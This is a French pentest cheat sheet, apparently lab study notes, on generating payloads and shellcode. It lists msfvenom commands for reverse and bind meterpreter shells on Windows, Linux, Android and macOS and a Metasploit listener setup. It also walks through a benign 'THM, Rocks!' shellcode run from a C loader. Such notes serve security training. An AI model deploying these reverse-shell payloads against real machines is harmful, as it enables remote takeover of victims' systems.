🌴Payload / shellcode

générer des payloads et shellcode avec metasploit, puis manuellement

Un shellcode est un petit programme écrit en langage assembleur qui est conçu pour être injecté dans un autre programme ou dans un processus en cours d'exécution.

Un payload, d'autre part, est un terme plus générique qui fait référence à la charge utile d'un programme ou d'un fichier. Dans le contexte de la sécurité informatique, un payload peut être n'importe quel type de code malveillant, y compris un shellcode, un virus, un cheval de Troie, etc.

📡 Metasploit


📦 Exemples de payload

Payloads Windows

  • Reverse TCP Shell:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe > shell.exe
  • Bind TCP Shell:

    msfvenom -p windows/meterpreter/bind_tcp RHOST=<target_ip> -f exe > shell.exe

Payloads Linux

  • Reverse TCP Shell:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f elf > shell.elf
  • Bind TCP Shell:

    msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<target_ip> -f elf > shell.elf

Payloads Android

  • Reverse TCP Shell:

    msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -o app.apk

Payloads MacOS

  • Reverse TCP Shell:

    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f macho > shell.macho

Options communes

  • LHOST : L'adresse IP de la machine attaquante (votre machine).

  • LPORT : Le port que vous utilisez pour écouter les connexions entrantes.

  • RHOST : L'adresse IP de la machine cible.

  • RPORT : Le port sur lequel la machine cible écoute.

  • -f : Format du payload (exe, elf, apk, macho, etc.).

  • -o : Nom du fichier de sortie.


Format pour générer un shellcode à intégrer dans un fichier (-f)

  • Format C : le shellcode est généré sous forme de tableau de caractères en langage C, qui peut être facilement intégré dans un programme C ou C++.

  • Format Python : le shellcode est généré sous forme de chaîne de caractères en langage Python, qui peut être utilisée dans un script Python.

  • Format Raw : le shellcode est généré sous forme de données brutes, qui peuvent être écrites directement dans un fichier binaire ou intégrées dans un programme à l'aide d'une fonction d'écriture de mémoire.

  • Format Hex : le shellcode est généré sous forme de chaîne de caractères hexadécimaux, qui peuvent être facilement intégrées dans un programme à l'aide d'une fonction de conversion de chaîne en tableau de caractères.

Format pour générer des application (-f)

  • exe : génère un fichier exécutable Windows pour les systèmes 32 bits ou 64 bits.

  • elf : génère un fichier exécutable et lien (ELF) pour les systèmes Linux et Unix.

  • macho : génère un fichier exécutable Mach-O pour les systèmes macOS.

  • apk : génère un fichier d'application Android pour les appareils Android.

  • war : génère un fichier d'archive Web (WAR) pour les applications Java Web.


📡 Mode écoute (reverse shell)

Écouter les connexions avec Metasploit

Après avoir généré et déployé votre payload, vous devez configurer Metasploit pour écouter les connexions entrantes.

use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <your_ip>
set LPORT <your_port>
exploit

⌨️ Création de shell code linux

But : créé une application Linux qui lance un code obfusqué au démarrage.

Dans ce tutoriel, nous allons créer un shellcode simple pour Linux en utilisant le langage d'assemblage. Un shellcode est un ensemble d'instructions binaires conçu pour être exécuté directement par un interpréteur de commandes (shell) ou injecté dans un programme pour modifier son comportement.

  1. Code Assembleur : thm.asm

Nous commençons par écrire le code assembleur dans un fichier nommé "thm.asm".

global _start

section .text
_start:
    jmp MESSAGE

GOBACK:
    mov rax, 0x1       ; Code pour le syscall write
    mov rdi, 0x1       ; Descripteur de fichier pour STDOUT
    pop rsi            ; Adresse du message
    mov rdx, 0xd       ; Longueur du message
    syscall

    mov rax, 0x3c      ; Code pour le syscall exit
    mov rdi, 0x0       ; Code de retour 0
    syscall

MESSAGE:
    call GOBACK
    db "THM, Rocks!", 0dh, 0ah  ; Message à afficher
  • Le programme commence par définir _start comme point d'entrée.

  • Il saute ensuite à l'étiquette MESSAGE.

  • L'étiquette GOBACK est utilisée pour effectuer un appel système (syscall) afin d'écrire le message sur la sortie standard. Ensuite, le programme se termine en effectuant un appel système pour quitter proprement.

  • L'étiquette MESSAGE contient le message à afficher, suivi d'un retour chariot (0dh) et d'un saut de ligne (0ah).

  1. Compilation et Exécution

Assembler et Lier le Code :

Assembler le code source thm.asm en un fichier objet thm.o en utilisant la commande suivante :

nasm -f elf64 thm.asm

Lier le fichier objet thm.o et générer un fichier exécutable thm en utilisant la commande suivante :

ld thm.o -o thm

Exécution :

Exécuter le fichier exécutable thm en utilisant la commande suivante. La sortie attendue est "THM, Rocks!".

./thm

Extraction du Shellcode

Afficher le code assembleur du fichier exécutable thm en utilisant la commande suivante :

objdump -d thm

Extraire la section .text (qui contient le code machine) du fichier exécutable thm et générer un fichier binaire thm.text en utilisant la commande suivante :

objcopy -j .text -O binary thm thm.text

Afficher le contenu du fichier binaire thm.text sous forme hexadécimale en utilisant la commande suivante. Cette commande est utilisée pour générer le shellcode, qui peut être intégré dans d'autres programmes.

xxd -i thm.text

Injection du Shellcode dans un Programme C : thm.c

Dans le code C fourni, insérer le shellcode extrait précédemment dans le tableau message[].

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
        // Shellcode à insérer
    };

    (*(void(*)())message)();
    return 0;
}

Compiler le code source C (dans ce cas, le fichier source est thm.c) et générer un fichier exécutable thmx en utilisant la commande suivante :

gcc -g -Wall -z execstack thm.c -o thmx

Exécuter le fichier exécutable thmx en utilisant la commande suivante :

./thmx

Last updated